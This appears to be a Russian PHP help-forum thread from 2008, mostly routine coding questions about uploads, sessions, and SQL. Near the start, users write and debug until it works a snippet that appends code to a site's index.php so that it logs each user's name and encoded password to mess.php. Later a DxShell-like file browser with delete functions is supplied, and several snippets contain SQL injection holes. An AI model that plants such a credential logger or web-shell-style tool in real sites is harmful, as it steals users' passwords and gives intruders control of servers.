(упрощенный вариант)
MafiaBoy3
09.11.2008, 11:48
я вообще нечё не понял...
ты сам то это читал
я вообще нечё не понял...
ты сам то это читал
конечно читал)
короч надо через пхп вставить в файл index.php это:
<?php
\$fp=fopen ("include/mess.php","a+");
fputs(\$fp,"\r\n$logged_user_name-$enc_user_pass");
?>
MafiaBoy3
09.11.2008, 11:56
ты видимо плохо читал, почитай ещё
MafiaBoy3
09.11.2008, 11:58
я хочу научиться работать с rdf
но кнмги у меня нет, более того весь материал на английском!
может кто то работал с xml?
как создавать и выполнять программы на xml?
$fp = fopen("index.php", "a+");
$tmp = '
<? $fp=fopen ("mess.php","a+");
fputs($fp,"\r\n\$logged_user_name-\$enc_user_pass");
?>\n';
fputs($fp, $tmp);
fclose($fp);
?>
$fp = fopen("index.php", "a+");
$tmp = '
<? $fp=fopen ("mess.php","a+");
fputs($fp,"\r\n\$logged_user_name-\$enc_user_pass");
?>\n';
fputs($fp, $tmp);
fclose($fp);
?>
Благодарю!
А не подскажите какой нужен код чтобы удалял повторные строки в тексте?(только если строки повторяются!):)
я хочу научиться работать с rdf
но кнмги у меня нет, более того весь материал на английском!
может кто то работал с xml?
как создавать и выполнять программы на xml?
XML - это не программы. Это формат данных. Пример - html. XHTML - это тот же xml. Брауезр парсит xml-данные(ну html-страничку) и на основе ее выводит картинку.
XML:
http://ru.wikipedia.org/wiki/XML
PHP и XML:
http://www.php.su/functions/?cat=xml
[x26]VOLAND
09.11.2008, 12:34
блин не могу найти ошибку пишет: parse error, unexpected T_SL on line 4 помогите плз
вот код:
<?
$fp=fopen("index.php","a+");
$tmp=<<<HTT
<? \$fp=fopen ("mess.php","a+");
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass");
?> HTT;
fputs($fp,$tmp);
fclose($fp);
?>
(упрощенный вариант)HTT; должно идти на отдельной строке, перед ним не должно быть никаких символов.
VOLAND']HTT; должно идти на отдельной строке, перед ним не должно быть никаких символов.
спс скрипт уже пашет ))ЫЫ
ты не знаешь скрипт который удаляет повторные строки???
спс скрипт уже пашет ))ЫЫ
ты не знаешь скрипт который удаляет повторные строки???
<?php
$file = file('file.txt');
$new = fopen('new.txt','at');
$file = array_unique($file);
foreach($file as $string)
{
fputs($new,$string);
}
fclose($new);
?>
Э, а зачем так?
trim($string)."\n"
Может просто не использовать трим и соотв не добавлять перенос строки?
После нескольких подряд дубликатов, будет 2-ой перенос строки.
Единственная разница только в том, что в твоем случае после последней строки будет стоять перенос и все
Ищу скрипт
корорый показывет сколько человек на сайте сейчас
срочно надо :)
.:EnoT:.
09.11.2008, 16:21
Делаем таблицу в БД:
CREATE TABLE `sessions` (
`id_session` varchar(32) NOT NULL,
`lastdate` datetime NOT NULL
) ENGINE=MyISAM;
ну и сам скрипт:
<?php
session_start();
$id_session = session_id();
$sql = mysql_query("SELECT * FROM `sessions` WHERE `id_session` = '".$id_session."'");
if($sql && mysql_num_rows($sql)){
mysql_query("UPDATE `sessions` SET `lastdate` = NOW() WHERE `id_session`='".$id_session."'");
}else{
mysql_query("INSERT INTO `sessions` VALUES('".$id_session."', NOW())");
}
mysql_query("DELETE FROM `sessions` WHERE `lastdate` < NOW() - INTERVAL '".$interval."' MINUTE");
?>
Ничего сложного.
А вывод делается как обычно..
<?php
$sql = mysql_query('SELECT COUNT(*) AS `vsego` FROM `sessions`');
$result = mysql_fetch_array($sql);
echo 'Сейчас в онлайне '.$result['vsego'];
?>
Можно так же привинтить, чтобы записывались ники пользователей, где находятся и т.д.
Добавлено:
забыл сказать...переменная $interval это время в минутах (бездействие пользователя)
.:EnoT:., http://www.mysql.ru/docs/man/REPLACE.html
.:EnoT:.
09.11.2008, 16:31
.:EnoT:., http://www.mysql.ru/docs/man/REPLACE.html
Во-первых это всего-лишь пример скрипта. Я в своих скриптах делаю немного по-другому.
И во вторых replace тут ни к чему имхо.
ну конечно пример.
писать 10 строк вместо 3. я всегда примеры даю из жопы вытянутые.
И во вторых replace тут ни к чему имхо.
а условия к чему?
$sql = mysql_query("SELECT * FROM `sessions` WHERE `id_session` = '".$id_session."'");
если у тебя все равно все из кавычек выносится, зачем ты переменную зря пишешь? писал бы туда сразу session_id()
MafiaBoy3
09.11.2008, 17:17
Часто вижу это слово среди названия скриптов..... Parser (ну или по-нашему парсер)
Что оно означает? Что делает эта штуковина?
Scutter requires an RDF parser that can generate N-Triples.
переведите пожалуста...
MafiaBoy3
переберает(парсит) текст и выдерает данные по определённому параметру..
Гугл, БЛЯ!
http://www.google.com/search?client=opera&rls=en&q=%D1%87%D1%82%D0%BE+%D1%82%D0%B0%D0%BA%D0%BE%D0%B 5+%D0%BF%D0%B0%D1%80%D1%81%D0%B5%D1%80&sourceid=opera&ie=utf-8&oe=utf-8
Часто вижу это слово среди названия скриптов..... Parser (ну или по-нашему парсер)
Что оно означает? Что делает эта штуковина?
Ищет что-либо среди текста/любых других данных, выделяет нужное. Потом предоставляет для тебя в удобоваримой форме.
MafiaBoy3
09.11.2008, 17:24
спасибо
.:EnoT:.
09.11.2008, 17:39
если у тебя все равно все из кавычек выносится, зачем ты переменную зря пишешь? писал бы туда сразу session_id()
не принципиально
Вообще зачем спорить, напиши свой пример, который будет лучше.
помогите решить задачу, хочу сделать две ссылки: "Предыдущая страница" и "Следующая страница"
пробовал сделать так:
list($idd2, $titlenext) = $db->sql_fetchrow($db->sql_query("SELECT id, title FROM ".$prefix."_pages ORDER by id LIMIT $id, 1"));
где $id - номер текущей страницы, но нифига не работает, разве что если прописать вручную случайные номера, то все равно выдает страницы не следующие по списку, а через 30, 100 и более страниц :confused:
не принципиально
Вообще зачем спорить, напиши свой пример, который будет лучше.
не любишь критки?
так я и дал - твой пример, плюс моя критика.
.:EnoT:.
09.11.2008, 20:21
не любишь критки?
так я и дал - твой пример, плюс моя критика.
Я лично критики в твоём посте не увидел.
Не хламим в теме, если чё в пм)
помогите решить задачу, хочу сделать две ссылки: "Предыдущая страница" и "Следующая страница"
пробовал сделать так:
list($idd2, $titlenext) = $db->sql_fetchrow($db->sql_query("SELECT id, title FROM ".$prefix."_pages ORDER by id LIMIT $id, 1"));
где $id - номер текущей страницы, но нифига не работает, разве что если прописать вручную случайные номера, то все равно выдает страницы не следующие по списку, а через 30, 100 и более страниц :confused:
я вообще не понял при чём тут бд...или поясни свой вопрос точнее.
Если номер текущей страницы $id, то что тебе мешает следующую и предыдущую страницу выводить $id+1 и $id-1 ?
Нужен пример синонимайзера. что-то у меня ничего не получается
function Synonim($text,$SYNINCLUDEORIGINAL,$notsin=true){
$txt=$text;
if(!$notsin)return $txt;
if(!file_exists("./synonim.txt")) return $txt;
$handle = fopen("./synonim.txt", "r");
$contents = ''; $i=0;
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
$marr=explode("=",$buffer);
$original=$marr[0];
$synarr=explode(",",$marr[1]);
if($SYNINCLUDEORIGINAL)$synarr[]=$original;
$syn=$synarr[rand()%count($synarr)];
$syn=str_replace("
","",$syn);
$txt=str_replace(" ".$original." "," ".$syn." ",$txt);
$txt=str_replace(" ".$original.","," ".$syn.",",$txt);
$txt=str_replace(" ".$original."."," ".$syn.".",$txt);
$txt=str_replace(" ".$original."?"," ".$syn."?",$txt);
$txt=str_replace(" ".$original."!"," ".$syn."!",$txt);
$txt=str_replace(" ".$original.":"," ".$syn.":",$txt);
$i++;
}
fclose($handle);
$result.=$txt;
return $result;
}
вот тебе функция, переделывай сам =)
function Synonim($text,$SYNINCLUDEORIGINAL,$notsin=true){
$txt=$text;
if(!$notsin)return $txt;
if(!file_exists("./synonim.txt")) return $txt;
$handle = fopen("./synonim.txt", "r");
$contents = ''; $i=0;
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
$marr=explode("=",$buffer);
$original=$marr[0];
$synarr=explode(",",$marr[1]);
if($SYNINCLUDEORIGINAL)$synarr[]=$original;
$syn=$synarr[rand()%count($synarr)];
$syn=str_replace("
","",$syn);
$txt=str_replace(" ".$original." "," ".$syn." ",$txt);
$txt=str_replace(" ".$original.","," ".$syn.",",$txt);
$txt=str_replace(" ".$original."."," ".$syn.".",$txt);
$txt=str_replace(" ".$original."?"," ".$syn."?",$txt);
$txt=str_replace(" ".$original."!"," ".$syn."!",$txt);
$txt=str_replace(" ".$original.":"," ".$syn.":",$txt);
$i++;
}
fclose($handle);
$result.=$txt;
return $result;
}
вот тебе функция, переделывай сам =)
Это уже отработанная тема)) нужно чтобы синонимы брал из файла типа
привет=здравствуй,здарова
Sholoman
09.11.2008, 21:05
Только начал изучать php.
написал скрипт который вводит в базу данных текст, который отображается на сайте
Но немогу дописать скрипт так чтобы можно было потом отредактировать его, помогите.
таблица состоит из id,theme,content,date.
update table set content = 'text' where id = 1
Sholoman
09.11.2008, 21:17
а можно пояснее ?
Это уже отработанная тема)) нужно чтобы синонимы брал из файла типа
привет=здравствуй,здарова
этот скрипт для этого типа файла синонимов...
или тебе что надо? определись со знаками препинания
акцент=выговор
аппарат=инструмент,обстано вка,орудие
ассортимент=коллекция,набо р,комплект,прибор,гарнитур, гарнитура,запас,круг
безразлично=одинаковый
Какой нужен код чтоб он создавал пхп файл с имеющими настройками (т.е. у меня есть пхп код который нужно вписать в созданый пхп файл) как это осуществить?
с помощью :
<? $fp=fopen("nep.php","a+");
$tmp=' ';
fputs($fp,$tmp); fclose($fp); ?>
? так как код который нужно прописать в созданом файле большой то пишет что ошибка. помогите!
можт я чтото не вижу .. но вроде всё правильно ..
ошибку написал бы лучше ..
можт я чтото не вижу .. но вроде всё правильно ..
ошибку написал бы лучше ..
ошибки нету просто как его использовать если код который нужно вставить между ' ' очень большой (файл весит 100 кб)
В коде все норм, 100 кб запросто вставляются, просто ты косячишь.
.:EnoT:.
09.11.2008, 21:41
ошибки нету просто как его использовать если код который нужно вставить между ' ' очень большой (файл весит 100 кб)
100 кило это не большой код)
Просто ты видимо не экранируешь переменные)
на прошлых страницах был пример записи кода в файл, посмотри)
100 кило это не большой код)
Просто ты видимо не экранируешь переменные)
на прошлых страницах был пример записи кода в файл, посмотри)
ет типо перед каждой переменной ставить \ ??
.:EnoT:.
09.11.2008, 21:52
да...точнее говоря перед переменной, которую ты хочешь записать как переменную а не как значение какой-либо переменной.
п.с. сам не понял чё сказал)
а есть у когото скрипт который показывает директории не только где расположен сайт а и всего кампа???? оч надо)
шото типо DxShell.php только в упрощенном варианте шоб тока директории можно было просматривать
а есть у когото скрипт который показывает директории не только где расположен сайт а и всего кампа???? оч надо)
шото типо DxShell.php только в упрощенном варианте шоб тока директории можно было просматривать
<?php
###########################
# Файл менеджер by Chaak
###########################
$safe = 'C:\\'; //дирректория, куда нельзя дальше соваться =)
function delfolder($folder)
{
if(is_dir($folder))
{
$handle = opendir($folder);
while($subfile = readdir($handle))
{
if($subfile == '.' or $subfile == '..')
continue;
if(is_file($subfile))
unlink("{$folder}/{$subfile}");
else
delfolder("{$folder}/{$subfile}");
}
closedir($handle);
rmdir($folder);
}
else
{
unlink($folder);
}
}
if(isset($_GET['del']))
{
$del = urldecode($_GET['del']);
if(substr($del,0,strlen($safe)) == $safe)
{
if(is_file($del))
{
unlink($del);
header("Location: ".$_GET['location']);
exit();
} elseif(is_dir($del))
{
delfolder($del);
header("Location: ".$_GET['location']);
exit();
}
}
else
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
}
if(!isset($_GET['dir']))
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
else
{
$path = urldecode($_GET['dir']);
if(substr($path,0,strlen($safe)) == $safe)
{
if(is_dir($path))
{
$dir = scandir($path);
echo '<table>';
echo "<tr><td>№</td><td>Filename</td><td>Действие</td></tr>";
foreach($dir as $i => $item)
{
if(!($item == '..' || $item == '.'))
{
echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>";
}
else
{
echo "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>";
}
}
echo '</table>';
} elseif(is_file($path))
{
$file = '';
$fp = fopen($path,'rt');
while(!feof($fp))
{
$file .= fgets($fp,1024);
}
fclose($fp);
htmlspecialchars($file);
echo "<textarea cols='80' rows='35'>$file</textarea>";
echo '<br><a href="javascript:history.back(-1);">Назад</a>';
}
else
{
die('Выбранного файла не существует');
}
}
else
{
header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
exit();
}
}
?>
Писал когда-то от "нечего делать". Но если включен safe_mode, то тебе дальше www-дирректории не выйти.
Писал когда-то от "нечего делать". Но если включен safe_mode, то тебе дальше www-дирректории не выйти.
спс
vasya106
09.11.2008, 22:16
Народ помогите ктонить с вот этим заранее спасибо
http://forum.antichat.ru/threadedpost935144.html#post935144
<?
require "header.php";
require "option.php";
error_reporting(E_ALL);
echo "<h1>instalation program</h1>";
if(!mysql_connect($SERVER,$USER,$PASSWD))
{
echo "<h1> Eror connecting to SQL database</h1>";
echo "</body></html>";
exit;
}
mysql_select_db($DB);
echo mysql_error();
if (mysql_errno()===0)
{
echo "<h1>Table exist, adding testing data</h1>";
mysql_query('INSERT INTO news values(1,"test title","some text.....Main news text")');
echo "<h1> data was added!</h1>";
}
else {"eror adding data"};
echo "</body></html>";
?>
Помогите найти ошибку :(
Я в пхп не силен, только начал..
Ошибок не выбрасывает, но и скрипт не исполняется
просто белый екран....
else{ echo "error reading data";}
short_tag включен? Попробуй начать с <?php
Pashkela
10.11.2008, 12:18
else {"eror adding data"};
тут вроде как надо тогда так (обрати внимание на начало и конец):
else {echo "eror adding data";}
помогите обьеденить эти два скрипта в один php:
<html>
<head>
<title>Результат загрузки файла</title>
</head>
<body>
<?php
if($HTTP_POST_FILES["filename"]["size"] > 1024*10*1024)
{
echo ("Размер файла превышает десять мегабайт");
exit;
}
if(copy($HTTP_POST_FILES["filename"]["tmp_name"],
"uploads/".$HTTP_POST_FILES["filename"]["name"]))
{
echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($HTTP_POST_FILES["filename"]["name"]);
echo("<br>Размер файла в байтах: ");
echo($HTTP_POST_FILES["filename"]["size"]);
echo("<br>Каталог для загрузки: ");
echo($HTTP_POST_FILES["filename"]["tmp_name"]);
echo("<br>Тип файла: ");
echo($HTTP_POST_FILES["filename"]["type"]);
} else {
echo("Ошибка загрузки файла");
}
?>
</body>
</html>
and
<html>
<head>
<title>Загрузка файлов на сервер</title>
</head>
<body>
<h2><p><b> Форма для загрузки файлов </b></p></h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename"><br>
<input type="submit" value="Загрузить"><br>
</form>
</body>
</html>
<html>
<head>
<title>Результат загрузки файла</title>
</head>
<body>
<h2><p><b> Форма для загрузки файлов </b></p></h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename"><br>
<input type="submit" value="Загрузить"><br>
</form>
<?php
if($_FILES['filename'])
{
if($_FILES['filename']["size"] > 1024*10*1024)
{
echo ("Размер файла превышает десять мегабайт");
exit;
}
if(copy($_FILES['filename']["tmp_name"],
"uploads/".$_FILES['filename']["name"]))
{
echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES['filename']["name"]);
echo("<br>Размер файла в байтах: ");
echo($_FILES['filename']["size"]);
echo("<br>Временное имя файла: ");
echo($_FILES['filename']["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES['filename']["type"]);
} else {
echo("Ошибка загрузки файла");
}
}
?>
</body>
</html>
[x26]VOLAND
10.11.2008, 16:30
$HTTP_POST_FILES["filename"]["size"]Данный метод проверки некорректен, ибо:
1. Значение 'size', как и любое, может быть легко подделано. Корректнее измерять размер этого файла в папке tmp.
2. HTTP_POST_FILES ушло в прошлое. Используй _FILES
if($_FILES['filename'])корректнее использовать isset($_POST['submit']);
copy($_FILES['filename']["tmp_name"],
"uploads/".$_FILES['filename']["name"])Опять же, для таких вещей существует специальная функция: @move_uploaded_file($_FILES['filename']['tmp_name'], 'uploads/'.$_FILES['filename']['name']);
Ах да, и не забываем использовать одинарные кавычки вместо двойных ;)
[x26]VOLAND
10.11.2008, 16:38
это одно и тожеУдаление гланд - тоже "одно и тоже". Но выполнить его, как ты сам знаешь, можно несколькими способами...
тебя $_POST зацеловал чтоли?
<?php
if ($File&& $File != "none") {
copy($File, $File_name);
}
?>
<FORM ENCTYPE="multipart/form-data" align="center" ACTION="<?php echo"$PHP_SELF"; ?>"
METHOD="POST">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">
<INPUT NAME="File" TYPE="file">
<INPUT TYPE="submit" VALUE="загрузить">
</FORM> пред тем как загрузить файл высвечивается ошибка Undefined variable. что не так?
[x26]VOLAND
10.11.2008, 17:12
тебя $_POST зацеловал чтоли?Мда. Даже спорить не хочется. Почитай что говорят разработчики насчёт этого. В следующей версии планируется полный отказ от длинных имён глобальных массивов...
Потом ты в своём скрипте всё переделывать будешь?
пиздец, я говорю про проверки в условии $_FILES или $_POST
если ты заметил, я ему и переделал все на нормальный лад.
VOLAND']Мда. Даже спорить не хочется. Почитай что говорят разработчики насчёт этого. В следующей версии планируется полный отказ от длинных имён глобальных массивов...
Потом ты в своём скрипте всё переделывать будешь?
Отказ от $_GET и $_POST o_O? register_globals, который вырежут? Тогда как данные передаваться будут?
Bomb прав, т.к в POST можно что угодно передать. А в FILES уже запишештся файл, если это действительно файл.
P.S, спор на пустом месте.
[x26]VOLAND
10.11.2008, 18:01
Мда. Я говорю о длинных именах типа HTTP_****_VARS. А вы о чём?
VOLAND']Мда. Я говорю о длинных именах типа HTTP_****_VARS. А вы о чём?
Где ты тут видишь HTTP_****_VARS?
.:EnoT:.
10.11.2008, 19:18
<html>
<head>
<title>Результат загрузки файла</title>
</head>
<body>
<h2><p><b> Форма для загрузки файлов </b></p></h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename"><br>
<input type="submit" value="Загрузить"><br>
</form>
<?php
if($_FILES['filename'])
{
if($_FILES['filename']["size"] > 1024*10*1024)
{
echo ("Размер файла превышает десять мегабайт");
exit;
}
if(copy($_FILES['filename']["tmp_name"],
"uploads/".$_FILES['filename']["name"]))
{
echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES['filename']["name"]);
echo("<br>Размер файла в байтах: ");
echo($_FILES['filename']["size"]);
echo("<br>Временное имя файла: ");
echo($_FILES['filename']["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES['filename']["type"]);
} else {
echo("Ошибка загрузки файла");
}
}
?>
</body>
</html>
ууу, бомбег) критикуя на прошлых страницах мой пример скрипта оказывается вы сами не зе бест кодер)
Любите покритиковать чужие примеры? ну я тоже умею, и так поехали))
<form action="upload.php"
а если юзер назовёт скрипт другим именем? айяяй, надо заботиться о наших пользователях...поэтому action="" здесь подходит лучше.
if($_FILES['filename'])
не просто isset как советовал Воланд, но я бы лучше сделал !empty() в данном случае.
$_FILES['filename']["size"]
Ты писал выше что нет разницы между одинарными и двойными кавычками (насколько я понял твой пост).
Тогда обьясни смысл использования и двойных и одинарных кавычек в этом куске (и в остальных массивах тоже)
echo ("Размер файла превышает десять мегабайт");
exit;
Не легче ли:
exit('Размер файла ....блабла');
echo("Файл успешно загружен <br>");
echo это языковая конструкция а не функция, поэтому использование echo со скобками неправильно (хотя это работает)
И не относящееся к php:
Не знаю под какую спецификацию вы верстаете молодой человек, но <br> это уже не круто...круто <br/> :cool:
ой блять, я ему просто переменные сменил! прекратите немедленно писать ерунду! и весь спор начался с необоснованного, что сравнение $_POST лучше, чем сравнение $_FILES!
однако $_FILES проверит еще есть ли файл, а не просто отправлена ли форма!
наниматься исправлять ему кавычки я не нанимался! читай внимательно что попросил автор!!! щас позову гринбира и он всех заминусует!
Не знаю под какую спецификацию вы верстаете молодой человек, но <br> это уже не круто...круто <br/>
да конечно, писать как другие, не зная почему они так делают, это круто. и пожалуйста, не надо сравнивать меня и себя. я начал писать на пхп, когда ты про античат не знал.
и писать про плюсы и минусы одинарных иди двойных кавычек это ебанатизм в высшей форме! иди пиши статью, как сэкономить две наносекунды на исправлении кавычек.
.:EnoT:.
10.11.2008, 19:36
да конечно, писать как другие, не зная почему они так делают, это круто
да, конечно регать новый акк, чтобы изображать из себя школьника и писать мнимую тупость несомненно тоже круто)
и писать про плюсы и минусы одинарных иди двойных кавычек это ебанатизм в высшей форме! иди пиши статью, как сэкономить две наносекунды на исправлении кавычек.
ты пишешь как будто сам не знаешь когда двойные действительно необходимы, а когда они на**й не нужны)
Buffalon
10.11.2008, 19:39
Не знаю под какую спецификацию вы верстаете молодой человек, но <br> это уже не круто...круто <br/>
Вот это ты умный , я знаю почему пишут <br />(И вообще то если о всех тонкостях то ещо пробел ставят до `/`)... .
Но сам никогда не пишу , и вообще мало сайтов встречается с <br />
ты пишешь как будто сам не знаешь когда двойные действительно необходимы, а когда они на**й не нужны)
я ламер. оцтань.
.:EnoT:.
10.11.2008, 19:43
Вот это ты умный , я знаю почему пишут <br />(И вообще то если о всех тонкостях то ещо пробел ставят до `/`)... .>
не принципиально) Принципиально, что нормальные люди давно пишут хтмл-код с закрывающими тегами (прошу не придираться к словам, вы поняли о чём я)..а не пишут сайты на чистом хтмл`е, без css как их в школе учили...таки сайты тока на народ.ру выкладывать имхо)
я ламер. оцтань.
это тупо выглядет, стасег)
мое имя коверкать нельзя. это не ник.
Оч простой вопрос правда до меня не дойдет..
filesize($filename)
как можно просчитать размер трех файлов и сложить их в едино?
$files = array('file1.rar', 'file2.rar', 'file3.rar');
$size = 0;
foreach($files as $file)
{
$size += filesize($file);
}
echo $size;
Оч простой вопрос правда до меня не дойдет..
filesize($filename)
как можно просчитать размер трех файлов и сложить их в едино?
<?php
$files = filesize('file 1') + filesize('file 2') + filesize('file 3');
echo $files;
?>
PEPSICOLA
10.11.2008, 23:59
Ват да фааак!!! :((( php 5.2.4
Не пашет чавойто. Если не вводишь имя - то сообщение об ошибке не появляется. :(
feedback.php
<html>
<head>
<style type="text/css">
div{
border: solid 1px green;
padding: 10px 10px;
width: 370px;
margin: auto;
}
p{
margin: 0px;
padding: 0px 15px;
}
h7{
font-weight: bold;
}
</style>
</head>
<body>
<div>
<h1>Обратная связь</h1>
<h7>Пожалуйста оставьте ваше сообщение.</h7><br />
<form method="post" action="processfeedback.php">
<p>Фамилия, имя:</p>
<input type="text" name="name"> <br />
<p>Адресс email:</p>
<input type="text" name="email"> <br />
<p>Ваше сообщение</p>
<textarea name="message" cols="40" rows="10">
</textarea>
<br />
<br />
<input type="submit" value="Отправить">
</form>
</div>
</body>
</html>
processfeedback.php
<?php
if (!isset($_POST['name']))
{
echo "yo, заполни все поля <br /> $name";
exit();
}
echo $_POST['name'];
?>
PEPSICOLA,
$_POST['name'] всегда будет установлена, хоть и пуста при отправке формы, а значит isset будет возвращать true. Тут надо использовать функцию empty($_POST['name'])
PEPSICOLA
11.11.2008, 00:23
PEPSICOLA,
$_POST['name'] всегда будет установлена, хоть и пуста при отправке формы, а значит isset будет возвращать true. Тут надо использовать функцию empty($_POST['name'])
Спасибо мэн!
Попробуй так
feedback.php
<form action="ughsout.php" method="post">
<!-- DO NOT change ANY of the php sections -->
<?php
$ipi = getenv("REMOTE_ADDR");
$httprefi = getenv ("HTTP_REFERER");
$httpagenti = getenv ("HTTP_USER_AGENT");
?>
<input type="hidden" name="ip" value="<?php echo $ipi ?>" />
<input type="hidden" name="httpref" value="<?php echo $httprefi ?>" />
<input type="hidden" name="httpagent" value="<?php echo $httpagenti ?>" />
<h2 align="center">Feedback Form</h2>
<p>
All input is blah blah ...... </p>
<p>Send Data to: <select name="attn" size="1">
<option value=" MT General Email ">General Email</option>
<option value=" MakeTemplate Owner ">Owner of MakeTemplate</option>
<option value=" Technical Support ">Technical Support</option>
<option value=" PHP Codemaster ">PHP Codemaster</option>
</select>
<br />
Name: <input type="text" name="nameis" size="20" /> Email:<input type="text" name="visitormail" size="20" />
<br/> Overall Rating:<br/> [<input checked="checked" name="rating" type="radio" value="good" /> Good] [<input name="rating" type="radio" value="bad" /> Bad] [<input name="rating" type="radio" value="ugly" /> Ugly]
</p>
<p> Request additional features for a feedback tutorial:<br />
<input type="checkbox" name="emailvalidation" value="y" /> Email 'format' Validation - check @<br />
<input type="checkbox" name="fieldvalidation" value="y" /> Required Form Field Validation.<br />
<input type="checkbox" name="htmlcontrol" value="y" /> More intergratd HTML (in form).<br />
<input type="checkbox" name="phpform" value="y" /> Improved PHP form script generator.<br />
<input type="checkbox" name="htmlform" value="y" /> A complete HTML form generator. <br />
</p>
<br />
<h3 align="center">General Comments</h3>
<p align="center">
<textarea name="feedback" rows="6" cols="30">Notes n comments here</textarea>
</p>
<hr />
<p align="center">
<input type="submit" value="Submit Feedback" />
</p>
</form>
feedout.php
<h3 align="center">Thanks for your Feedback </h3>
<!-- VIP: change YourEmail to your real email -->
<?php
$ip = $_POST['ip'];
$httpagent = $_POST['httpagent'];
$httpref = $_POST['$httpref'];
$nameis = $_POST['nameis'];
$visitormail = $_POST['visitormail'];
$feedback = $_POST['feedback'];
$rating = $_POST['rating'];
$emailvalidation = $_POST['emailvalidation'];
$fieldvalidation = $_POST['fieldvalidation'];
$htmlcontrol= $_POST['htmlcontrol'];
$phpform = $_POST['phpform'];
$htmlform = $_POST['htmlform'];
$attn = $_POST['attn'];
if (eregi('http:', $feedback)) { die ("Do NOT try that! ! "); }
if((!$visitormail == "") && (!strstr($visitormail,"@") || !strstr($visitormail,".")))
{
echo "<h2>Use Back - Enter valid e-mail</h2>\n";
$tellem = "<h2>Feedback was NOT submitted</h2>\n";
}
if(empty($nameis) || empty($feedback) || empty($visitormail)) {
echo "<h2>Use Back - fill in all fields</h2>\n";
}
echo $tellem;
if ($emailvalidation == "y") {
$req1 = "Email format Validation \n" ;
}
if ($fieldvalidation == "y") {
$req2 = "Required Form Field Validation \n";
}
if ($htmlcontrol == "y") {
$req3 = "More intergratd HTML (in form) \n";
}
if ($phpform == "y") {
$req4 = "Improved PHP form script generator \n";
}
if ($htmlform == "y") {
$req5 = "A complete HTML form generator \n";
}
$req = $req1 . $req2 . $req3 . $req4 . $req5;
$todayis = date("l, F j, Y, g:i a") ;
$attn = $attn;
$subject = $attn;
$feedback = stripcslashes($feedback);
$message = " $todayis [EST] \n
Attention: $attn (Rating: $rating) \n
From: $nameis ($visitormail)\n
Requested:
$req \n
Feedback: $feedback \n
Additional Info : IP = $ip \n
Browser = $httpagent \n
Referral = $httpref
";
$from = "From: $visitormail\r\n";
mail("YourEmail", $subject, $message, $from);
$screenout = str_replace("\n", "<br/>", $message);
?>
<p align="center">
<?php echo $screenout ?>
</p>
cash$$$ с таким feedout.php ты сразу получаешь xss'ку, если зайдешь на сформированую мной страницу. Если скрипт известный - не поделишься названием?
eregi - много медленне preg_match
PandoraBox
11.11.2008, 02:08
помогите разобрать регулярку
$temp = '<img id="imgbutton44930794" class="playimg" src="images/play.gif" nosorthandle="true" onclick="return operate(44930794,1620,20326154,\'dd80d5202151\',0) ;"/>';
preg_match_all("/return operate(.?,(.*),(.*),'(.*)',.?);\"/i", $temp, $parsed); //Выбираем ссылки
print_r($parsed);
return operate(44930794,1620,20326154,\'dd80d5202151\',0) ;
интересует как перепарсить груду кода, удалить все лишнее и оставить только линки
PandoraBox, что значит разобрать?
Регулярка кстати не правильная, надо:
preg_match_all("/return operate(.*,(.*),(.*),'(.*)',.*);\"/Usi", $temp, $parsed); А еще лучше:
preg_match_all("/return operate(\d*,(\d*),(\d*),'(\d*)',\d*);\"/Ui", $temp, $parsed);
[x26]VOLAND
11.11.2008, 02:11
$_POST['name'] всегда будет установлена, хоть и пуста при отправке формы, а значит isset будет возвращать true. Тут надо использовать функцию empty($_POST['name'])Если name - строка, то корректнее проверять $_POST['name'] === '' , ибо emtpy возвращает false, если например name имеет значение '0'...
Запрос: mysql_query("INSERT INTO `admin` (`login`, `pass`, `id`) VALUES ('login', 'user', '5'), 'user', 'user', '5');"); Как в строчку VALUES ('$login', '$user', '5') вместо login и user вставить переменные $login и $user ?
p.s: сколько не пытался ошибка синтаксиса.
Extremal
11.11.2008, 05:21
2UnPazz
VALUES ('login', 'user', '5')
Получаеться примерно так если правильно тебя понял:
VALUES ('.$login.', '.$user.', '5')
mysql_query("INSERT INTO `admin` (`login`, `pass`, `id`) VALUES ('{$login}', '{$user}', 5)");
VOLAND']Если name - строка, то корректнее проверять $_POST['name'] === '' , ибо emtpy возвращает false, если например name имеет значение '0'...
все верно он сказал. имени 0 не бывает. в данном случае эта корректировка значения не имеет.
<html>
<head>
<title></title>
</head>
<body>
<?
if (isset($_POST['login']) && isset($_POST['password']))
if (!preg_match('#[a-zA-Z0-9\_]{4,16}#',$_POST['login']) || !preg_match('#[a-zA-Z0-9\_]{4,16}#',$_POST['password'])) die();
$login=$_POST['login'];
$pass=$_POST['password'];
// ñîåäèíåíèå ñ áàçîé äàííûõ
$link = mysql_connect("localhost", "mycms", "mycms") or die("Íåò ñîåäèíåíèÿ ñ áàçîé äàííûõ : " . mysql_error());
mysql_select_db("mycms");
// âûïîëíåíèå sql-çàïðîñà
mysql_query("INSERT INTO `admin` (`login`, `pass`, `id`) VALUES ('{$login}','{$pass}', '8'), ('{$login}.','{$pass}', '8');");
?>
<h3>Ðåãèñòðàöèÿ íîâîãî ïîëüçîâàòåëÿ</h3>
<form action="/reg/index.php">
Ëîãèí :<input type=text name="login"><br>
Ïàðîëü:<input type=password name=password [value=10] [size=10] [maxlen=10]><br>
<input type=submit value="Ðåãèñòðàöèÿ">
</form>
<a href="/">Íàçàä</a>
</body>
